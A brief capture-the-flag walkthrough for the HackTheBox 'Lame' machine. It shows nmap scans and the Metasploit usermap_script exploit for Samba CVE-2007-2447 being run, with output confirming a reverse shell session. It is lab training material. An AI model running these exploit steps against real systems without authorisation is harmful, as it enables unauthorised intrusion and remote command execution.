WalkthroughLameHackTheBox

We will learn the following:

- Using nmap to find opened ports & running services (https://nmap.org/)
- Searching for public exploits for vulnerable services (https://www.metasploit.com/)
- Download and install required tools/libraries to run exploit on target machine
- Reverse shell on target machine

Let's go: excute on command line (zhs :)) (sudo) nmap -sC -sV -p- -T4 RemoteIp or (sudo) nmap -A RemoteIp or (sudo) nmap -T4 - A -V RemoteIp

go to samba target (CVE-2007-2447 with metasploit framework)

sudo msfdb init && msfconsole

msf6> msf6> use exploit/multi/samba/usermap_script msf6 exploit(multi/samba/usermap_script) > set lhost LocalIp (set your localhost ip in vpn tunnel, if necessary) msf6 exploit(multi/samba/usermap_script) > set rhost RemoteIp (set Remote host ip> msf6 exploit(multi/samba/usermap_script) > run

*[] Started reverse TCP handler on LocalIp:4444 [*] Command shell session 1 opened (LocalIp:4444 -> RemoteIp:43178)

We are in feel free to run commands like >_ uname -r & pwd & ls

Hug!

>_JMP TheViper